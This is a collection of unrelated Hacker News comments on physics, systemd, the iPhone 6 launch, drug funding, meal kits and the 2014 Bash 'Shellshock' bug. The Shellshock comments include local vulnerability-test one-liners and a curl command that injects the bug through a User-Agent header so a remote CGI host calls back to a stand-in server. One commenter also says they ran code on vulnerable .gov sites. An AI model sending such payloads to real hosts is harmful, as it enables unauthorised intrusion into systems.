skysight-inc/HackerNews huggingface dataset:
Interesting; if the paper finds general acceptance, it'll be fun to watch a new flurry of activity. The fairly recent controversial concept of "firewalls" has reinvigorated that subfield of physics.

Whether black holes exist or not, there's something really dense at the center of our galaxy. It's a challenge to come up with a consistent non-black-hole explanation for the observed motion of stars at the galactic center.

http://www.galacticcenter.astro.ucla.edu/images/2011orbits_a...

More here: http://www.galacticcenter.astro.ucla.edu/journey/smbh.html
http://search.cpan.org/~mjd/Text-Template-0.1a/ Basic text templating; circa 1995. Using templates is hardly a new thing. I wrote a full CMS system for a news company in 2002. Sure that is a couple years later; but I based it on Text::Template in combination with XML; both of which existed in the mid 90s.

I am not attacking what they were doing, my point was that this is an issue of delaying the move to a template based system way longer than necessary. I am speculating on whether they did move to some templating, but not all the way, and wondering what exactly they were using before that.

Saying "static HTML files" is well and good, but it doesn't explain how they were created. By hand??

Also, saying "90 days to republish" seems to be suggesting some process they have in mind besides manually scraping the data out. If you have 1 million random files, scraping could easily take years not 3 months. It would be interesting to know what process they are suggesting to follow in those 90 days. My speculation is they did use some sort of outdated CMS software.
It's updated now
OP = original post or original poster
http://en.wikipedia.org/wiki/OP

GP = grand parent, i.e. the post that the post-your're-replying-to was replying to

These rules hold across many many web forums.
Oh my. Didn't watch the whole thing right now but from the title I know where it was going. One of Ruhlman's books describes a week-ish long cooking test at the Culinary Institute of America that gets into making all sorts of things like this. I cook a lot but this type of cooking is at least as far beyond me as I'm beyond someone who can barely boil an egg.
Up, Up, Down, Down, Left, Right, Left, Right, Up, Up, Up, Up
Depends what you mean by "ahead". They're both scumbags who deceive others for personal gain.
Mobile Agents and the Future of the Internet (1999)
If you make it to Alberta, I highly recommend that you ride through Kananaskis.

For best results, take Highway 40 south, then have dinner at the Longview Steak House. You'd never guess, but it is one of the best restaurants in Alberta.

Make sure there isn't snow before you ride through the mountains, though... and have really warm gloves.
I agree! I'm the founder of Gobble, and I can't stand packaging waste. With vacuum sealing and having only 4 - 5 ingredient components per dinner for two, the ingredients are compressed and flattened and the packaging is very minimal for us, 4 - 5 thin plastic sheets.

The key is re-using the boxes, ice packs, and insulation liners, all of which we are setting up with our new delivery+return system for delivering a box and picking up a box each time we visit a customer.
API-Driven Development – Practices and Tool List
I'm glad to hear it was helpful! This was a community-led effort, and there were a lot of people involved in making this successful. It was crazy to see how many people volunteered, just among the Genius community.
Does fit into the picture. It seems (and I heard that lately) that Sweden is well known for its attendance to the wishes of the US gvnmt.
Worse, I fear that cancer patients and their loved ones will get overly enthusiastic about this. Then, when they donate tons of money and it fails, they are out money, time, and a drug. This is the reason pharmaceutical companies are cautious about contacting patient advocacy groups.
FBI Releases Study on Active Shooter Incidents
Google to fund 280 metro Detroit teacher projects
Are You a Tech Company?
I feel that the iPhone 6 and 6+ launch has been an unmitigated disaster. Almost everything about the phone leaked ahead of time. Major shortage of + phones out of the gate. Keynote stream crashed. Website crashed for the first hour of sales. I personally reserved my 6+ to pick up at a store about an hour away, received an email that it would be ready (keep in mind this was 48 hours after the official launch, so some time Saturday night), drove all the way there to meet a 'reservation' line with like 20 people in it. It took 2 hours to get to the front of this line and when I did they informed me that they did not have my phone. Finally received it in the mail on Tuesday. And now this.

What a terrible position to put your customers and retail employees in.
That's why you have to be picky and careful when you decide to rent to someone you don't know. You don't want to be accused of something that's 'obvious' to someone, but is not necessarily the truth. So you naturally prefer people you know and can understand and rule out potential troublemakers early - sorry... And if you have 30 candidates to choose from, well, you know the answer - everyone has some preferences and will use them for making a choice. I'm not very surprised Germans have a preference for young single men of their own nationality with high paid jobs. That's still quite far away from being racist imho - this is just maximizing chances for a trouble-free, decent income.
Fix for those who already updated: http://www.imore.com/ios-801-kill-touch-id-and-cell-service-...
MongoDB Oplog and Meteor
Easy WordPress Dev Environments with Vagrant and Ansible [pdf]
Maybe if you didn't have a period at the end of your link it would work just fine...
Yeah, that's the biggest advantage for me. Once I'm done eating I generally want to at least go outside to smoke/vape, if not leave right away, but far too often it takes a solid 20 minutes to wait for the bill to arrive, wait for the waiter to return the bill, and then wait for them to return with my card. When I've used one of these systems, we finished eating, I swiped my card, and then we left.

Plus, the one I used had the ability to arbitrarily split the check without having to have the waiter remember the random dollar amounts to put on 4 different cards.
You don't need to crowdfund any more than it costs to convince a group with $1bn that they can make money on this by spending that to commercialize your demonstration. That is often just a few million, or even less, depending on how compelling your data and how good your connections.

Most of that $1bn and decade of time is make-work created by ever more risk-averse regulators. The actual process of creating something, making a product, and gathering reasonable data on safety is a fraction of that.
These philanthropic organizations almost always have either (a) committees made up of scientists that decide where the money should be allocated (e.g. HHMI) or (b) donate to institutions which then dole out money internally as project grants that are vetted by other scientists.

Philanthropic organizations don't generally just hand out money to the person who makes the flashiest video.
While I have no idea how you've drawn a link between florid prose and tech authors -- try reading articles in major media outlets about any topic and you will probably see a similar style -- the writing in this article is cringeworthy, and smacks of intellectual laziness.
[unrelated] As someone who used to rack a lot of 120mm mortar shells, I empathize
Unix/Linux Bash: Critical security hole uncovered
Given how important this would be, it seems a bit odd that she just threw it on ArXiv rather than having it peer-reviewed. Also, the press release's explanation of what Hawking radiation is sounds strange to me, though I'm not an astrophysicist. It all makes me very hesitant to put any stock in this right now (well, at least it in meaning what's suggested here).
I think it was a bit choppy, but not distracting by any means. I think having the text is great because it makes the delivery more efficient. All too often presenters, including myself, tend to circle back on a point, even repeating statements as they "find their way" or determine their next point. It can be confusing as a listener and therefore having a script helps to reduce this. The value of this (free!) course and the speakers FAR outweigh any issues with delivery/presentation style etc.
What mystifies me in these systemd discussions is that systemd proponents always seem to think that "modular" is somehow the opposite of "monolithic," when it is entirely possible for a system to be both.

"Modular" only means that a system is factored into components that address logically separate concerns. "Monolithic" means that your modules are tightly coupled.

For example, the Linux kernel and X.org are both modular and monolithic, as is systemd. Coreutils, by contrast, is modular and NOT monolithic.
7 year old receives Blake Shelton tickets as surprise bday gift
Looks really great. Have you thought about submitting to CocoaControls? (https://www.cocoacontrols.com/) It's the second place that I look for iOS components (after a simple Google search, that is).
The prevalence of 0-day exploits and the booming marketplaces for them are the biggest challenge for our industry today. The economic incentives mean that the worst vulnerabilities will increasingly be sold instead of responsibility reported. Why report it to the company in hopes of a 5k bounty, when the US gov will pay you 100X that for exclusive use? We're at a point now where everything has been compromised -- the network, every OS, every browser, every popular application. The software we all rely on can not be trusted to be secure from governments or well-funded organizations. Having unbounded access to every computer in the world is a frightening amount of power for any government or organization to hold. Until we find a way to change the economic incentives, I'm afraid the consolidation of power and the associated abuses are only going to continue. I have no idea how we fix this.
Someone should tell iPhone 4 paying customers that it's no longer safe to use the web.

Edit: would this disclosure be the responsibility of Apple or the wireless carrier? Apple may not have contact info for the customer, which would mean carriers worldwide need to notify customers of the risk to their personal data (e.g. financial passwords), as soon as they open a web site or an app that displays network-origin data, e.g. an email with an image.
So by your definition, Linux, is in fact, not a monolithic kernel. And neither is Busybox monolithic, then.

There seems to be a distressingly high amount of people lately who can't seem to tell that monolithic and modular software aren't mutually exclusive, and that you can be both. Lennart seems to propagate this idea lot that being modular automatically makes you non-monolithic.
3 axis is X, Y, and Z (up / down). 4, 5 and 6 are usually adding rotation to each axis.
Wouldn't a group with $1bn to spend want a patent to ensure they would get a return on that money?
It's also meant to help you and Linlde save bandwidth!
Man receives constant pain signals from his brain
IIRC, Gmail actually serves cached versions of embedded images using their own domains, which basically means that tracking pixels will get exactly one impression/hit (probably even regardless of the email actually having been opened or not).
Why you cannot trust Lennart Poettering / systemd
Wow. 192 commits. ~1.5 months of work. For a UITextInputField. This pod was made with love.
Why would a company invest a $1bn on a drug they can't patent ?

Also drug companies can't just decide they don't want to get FDA approval because it's too much work. They have to work within existing regulations whether they like them or not.
I'm a bit confused about how to properly patch my mac.

Homebrew installs upgraded bash to /usr/local/bin/bash, everyone says what I should do is run 'chsh -s /usr/local/bin/bash' but if I have a script that has a /bin/bash hashbang at the top, won't it still use the vulnerable bash install?

I mean I guess the answer is "you're probably not hosting a publicly accessible service on your mac, who cares?", which is true in my case, but still.
Gnome 3.14 released
The problem is all this silly emphasis on cooking. You don't need to cook. There is nothing wrong with eating milk, fruit, and toast for a meal. There's nothing wrong with doing it every day.
If this works well, then it's enormously useful. I spent way too many hours trying to get the existing solutions to work, without success. (In the end, I had to implement the view in HTML and JavaScript!)
"It's better if you don't build crypto directly into your application at all"

Plaintext all of the things! :P
> the majority of useful early stage research is funded by philanthropy

Really? Is there a source for this?
Yes, I meant the latter version, i.e. manual detection of patterns from the price charts. Given how optimized modern trading is, I find it hard to believe that a crude method like this would work.

I totally believe that with algorithm trading you can detect patterns, but I would assume that the sweet spot - like you described - would be detecting and exploiting patterns of individual actors (or a cluster of actors) instead of the patterns of the chaotic mass.
Thank you.

Is there a list of these concepts somewhere?

...I've had a little trouble searching for said list.

Nevermind. I found myself wishing for Altavista then I remembered that I recently promised myself to give DDG a try: https://duckduckgo.com/?q=OP+AND+GP+AND+%28%28ORIGINAL+POST%...

That's sufficient.
I really couldn't get the Russian part. I like the idea of connecting chat message and file list. I think you guys should change the green part and the description.

I think better descriptions would be like these:

"Simply create chat groups to share files and discuss fastly[securely, easily....]"
"No installation or credit card required to start. Create your group now and start chatting."

Screenshot is unnecessarily wide and magnifying effect is unnecessary. Change the screenshot with a chat session video(which you guys chat, send files each other). Make it .mp4, use HTML5 video tag and enable loop. Ta-da live screenshot!

Keep up the great work guys!
Really? That's awesome! How??
Get it from your employer. It's better and cheaper than what you can get in the market.

You are allowed to supplement -- this may or may not make sense, but your final coverage will be a lot cheaper if you start with employer insurance.
What I don't understand is why drugs developed with public money (government grants and non-profit charities) aren't automatically in the public domain.
I'm not sure why Ally was not included but in my opinion Ally is one of the best online options out there. They have every feature you'd want in an online bank, their interest rate is one of the best out there, they reimburse all ATM fees within the USA, and their customer service is great.

I'd suggest going on nerdwallet or a personal finance blog to get an idea of all your options as I would definitely not include Simple in the upper tier of online options (at least in current state).
If you just want to upgrade bash, and prevent services like nginx, fpm, and apache from being restarted in production, you can run `sudo apt-get update && sudo apt-get install --only-upgrade bash`

Related to that, does anyone else know if upgrading bash will require a restart of other services kind of like upgrading openssl requires restarting things?
This will have to happen with chip and pin cards anyway.
As someone who is similarly afflicted, here's a seconded "Thank you"!
This is a really good write-up.

In consulting and mentoring on this topic, I've found a lot of engineers push back against how "dirty" it is to have multiple copies of the data around in different formats. It feels wrong to not have a single, authoritative data format at any given instant. If the idea is to change the column type, why not just `ALTER TABLE ... ALTER COLUMN` instead of `ALTER TABLE ... ADD`?

But if you think about it, excepting trivial cases, once you're migrating data, there are parallel realities at least for the duration of the migration and deployment. It's not a question of whether you create divergence by versioning/staging (in some fashion) your data. It's a question of whether you manage the divergence and convergence of the parallel realities that already exist as part of a migration. If you don't, you either incur downtime or risk data corruption.

One big win here is that, by being disciplined about your code and data changes, you can cleanly separate deployment from release. You can deploy a feature but have it disabled or only enabled for a subset of users. Releasing a feature means enabling its feature flag, not orchestrating a set of migrations, replications, and deployments.
For Realtime Apps, Send Hints Not Data
The ArXiV is how you get your work peer-reviewed in cosmology and other areas. Findings can be examined much more quickly than the normal publication cycle.
Tightly coupled modules is an oxymoron.
"Being available to our customers is my #1 priority (after helping you make insanely delicious meals)"

So it's your #2 priority then...
Once you guys are forced to switch to chipcard readers, you'll have wireless readers everywhere. This is how it happened in Canada in recently years.
UkeTube channel deleted for posting videos of abuse
I don't agree with everything he says (the invasion of desktop linux seems completely unsubstantiated) but there are a couple of problems he points out that worry me, and I think we should pay attention.

Maturity: it certainly feels rushed that in less than four years systemd went from nothing to the default init system in most Linux distributions (if I'm not mistaken). For something so basic and important you'd think a good amount of testing and bugfixing should happen before that. We are taking our time with btrfs and Wayland, so why the rush with systemd? We certainly could endure some more years with the previous init systems. And this comes from an Arch Linux user, I like my software as fresh as I can I get away with, but it still seems odd.

Compatibility: this troubles me the most, you see hard dependencies appearing like what we currently get with Linux, systemd and GNOME. When people talk about this they are usually referring to the BSD family. That's a legitimate concern, but think about this: if in the future appears a brilliant programmer who designed a free kernel which runs circles around Linux, what will we do if everything is so tightly coupled? We have to consider the possibility that we won't be running the Linux kernel forever and be prepared to switch if something better appears.
Hello Hacker News.

I'd first like to say that this is the deck from a presentation at Velocity NY last week. Like most other talks, separating the slides from the presenter can make interpreting the context difficult. I did try to make an effort to have my slides provide useful information without me presenting them, but I acknowledge that I may not have done enough in that regard. I also received feedback from people present that there were too many bullet points and my font was too small. Can't please everyone I guess. But if you have a link to what you consider the "perfect" slide deck where unambiguous context is maintained without video of the talk, I'd love to study it in order to improve.

Other replies will be directed at the specific comment thread.
It actually says millions of USD or billions. ie not necessarily 1 billion+

I'm also wondering/suspecting these costs are very much tied to the USA which has a pretty specific model and costs involved.

I wouldn't be surprised if the development, of similar quality, would be much cheaper outside the USA.

(yes i have noticed this guy is crowdfunding from the USA)
Compare an article or tutorial on 'Make a Twitter clone in <cool language> in an hour!' to this 'recipe'.

No programming tutorial is going to start with turning the computer on, how to use a web browser...it's the same thing that's implied here.

If I were introducing a complete newb to cooking, the last thing I would do is have them do a whole chicken with gravy, etc.

I'd have them cook something very simple. Potatoes, chicken breast, maybe some eggs. There's a lot of things that can go wrong and a lot to learn with each of those.
Thank you for a great advice!
“‘I’d like to create an integrated television set that is completely easy to use,’ he told me. ‘It would be seamlessly synced with all of your devices and with iCloud.’ No longer would users have to fiddle with complex remotes for DVD players and cable channels. ‘It will have the simplest user interface you could imagine. I finally cracked it.’” - Steve Jobs, Walter Isaacson’s biography.
Update on jQuery.com Compromises
No, it's not printed in your trivial example, but if you replace the simple "echo" command with any bash script, or any executable that calls a bash script, or any executable that invokes another program that calls a bash script, or ... then you're screwed.

Even with the "zsh", this should print "vulnerable":

env x='() { :;}; echo vulnerable' zsh -c "bash -c true"

You don't have to use bash explicitly. It might be called by some application or library. For example, if your default shell is a bash, this will work too:

env x='() { :;}; echo vulnerable' zsh -c "python -c 'import os; os.system(\"true\")'"
I assume that this firm counts as one of the German "Mittelstand".

http://en.wikipedia.org/wiki/Mittelstand
I tested some of the sites and successfully executed some test code. One can easily google for such sites. The important thing is that, the link using which I ran the code is of a .gov site.

This thing seriously needs to be patched asap. Update your systems now.
You are referring to systemd-journal-gatewayd, which has a dependency on libmicrohttpd, a 93 KB web server. You don't have to run it - it's an optional unit, that even when enabled is activated on demand. You don't even need to build it, since it can be disabled with a configure flag. If systemd-journal-gatewayd were a separate package, nobody would complain about it. So why is it such a big deal that it comes included in the systemd source tree?
Well, part of that is up to different personalities. I am a disorganized fellow and I dislike internet-of-things type stuff a lot; other people aren't/don't.

To me the salient difference is between stuff I can easily pick up at the corner store (eggs, milk, flour) and things that it really is helpful to get in a kit box (premeasured hoisin sauce, blue potatoes, daikon radish).
In theoretical physics all papers important or not are submitted as preprints to ArXiv and then prepared for publication, an informal system like that has been in place during all of modern science, only that before the internet professors send a number of copies of their latest result to collaborators and to people they thought might be interested in them. I think this is much nicer than the alternative, that important results are only circulated in small circles and "milked dry" until they are released to the public.
I'm by no means an expert, but am I completely wrong if I think something like this should work on an exploitable system to get a pingback from a vulnerable system without curl ?

curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi
Apple Pulls iOS 8.0.1 Update After Disastrous Rollout
You're correct – you'd need to overwrite /bin/bash (think long and hard about this) to update it before Apple ships an update.

The good news is that as long as you're not running a local server, the vulnerability is pretty limited particularly since even if you did have SSH enabled the exploit would require valid authentication first.
Thanks mikejarema!
Thanks! We submitted and it should be up on their site soon. (Pretty sure they are still reviewing it)
That would make me much happier using a service like Gobble. I'm glad to hear it's in the works!